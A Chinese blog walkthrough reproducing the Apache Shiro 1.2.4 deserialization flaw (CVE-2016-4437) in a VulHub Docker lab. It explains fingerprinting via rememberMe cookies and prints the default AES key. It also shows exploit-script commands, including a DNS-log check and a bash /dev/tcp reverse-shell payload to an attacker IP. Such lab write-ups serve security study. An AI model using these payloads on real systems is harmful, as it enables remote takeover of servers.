Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )

文章目录

  • 漏洞描述
  • 漏洞原理
  • 影响版本
  • Shiro特征
  • 判断网站是否使用的shiro框架
  • 漏洞环境搭建
  • 漏洞利用
    • 执行反弹shell
    • Jar工具
  • 漏洞防御
  • 总结

漏洞描述

ApacheShiro 1.2.4 反序列化漏洞即shiro-550反序列化漏洞。Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cooKie,cookie的key为RememberMe,cookie的值是经过对相关信息进行反序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值-》Base64解密-》ASE解密-》反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题

在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码。而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透

漏洞特征shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

影响版本

  • Apache Shiro <=1.2.4

Shiro特征

  • 未登录的情况下,请求包中的cookie没有rememberMe字段,返回包set-cookie里面也没有deleteme字段
    Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第1张图片

  • 登录失败的话,不管勾选RememberMe字段没有,返回包都会有remeberme=deleteme字段
    Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第2张图片

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
    Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第3张图片

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
    Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第4张图片

判断网站是否使用的shiro框架

  • 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段

  • 如果以上没有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空

    如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的
    Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第5张图片
    我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架
    Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第6张图片
    Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第7张图片

漏洞环境搭建

使用vulhub进行环境搭建,cd shiro,执行docker-compose up -d启动漏洞环境
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第8张图片
访问8080,环境搭建成功
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第9张图片

漏洞利用

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证

工具下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated.git

检测是否存在漏洞

首先去dnslog平台获取一个子域 -》http://www.dnslog.cn/

我这里使用ShiroScan脚本

python .\shiro_rce.py http://192.168.111.8:8080 "ping qtj7kt.dnslog.cn"

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第10张图片
查看dnslog平台,如下,说明漏洞存在
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第11张图片

执行反弹shell

这里反弹shell的命令需要进行加密才能执行(也可以使用其他不用加密的脚本),推荐一个网站填写IP/port可以自动生成反弹shell语句:https://gksec.com/tools/reverse-shell-generator/

bash -i >& /dev/tcp/攻击机ip/监听的端口 0>&1

NC开启监听

NC -lvp port

执行反弹shell语句

 python .\shiro_rce.py http://192.168.111.8:8080 "bash -i >& /dev/tcp/192.168.111.128/9001 0>&1"

成功获取shell

Jar工具

相较于上面的python脚本,图形化工具操作起来更加的简单
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第12张图片
工具自带爆破密钥功能,方便便捷,也可以修改回显方式以及利用链
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )_第13张图片
也可以打内存马,我这里就不演示了,检测工具有很多,个人根据自己喜好即可~

漏洞防御

  • 升级版本
  • 修改密钥

总结

1. 内容主要介绍shiro反序列化漏洞的原理和工具的利用。
2. 要加深对漏洞的理解还是需要多研究一下自己编写需要的程序

你可能感兴趣的:(VulHub漏洞复现,apache,java,安全,网络安全,web安全)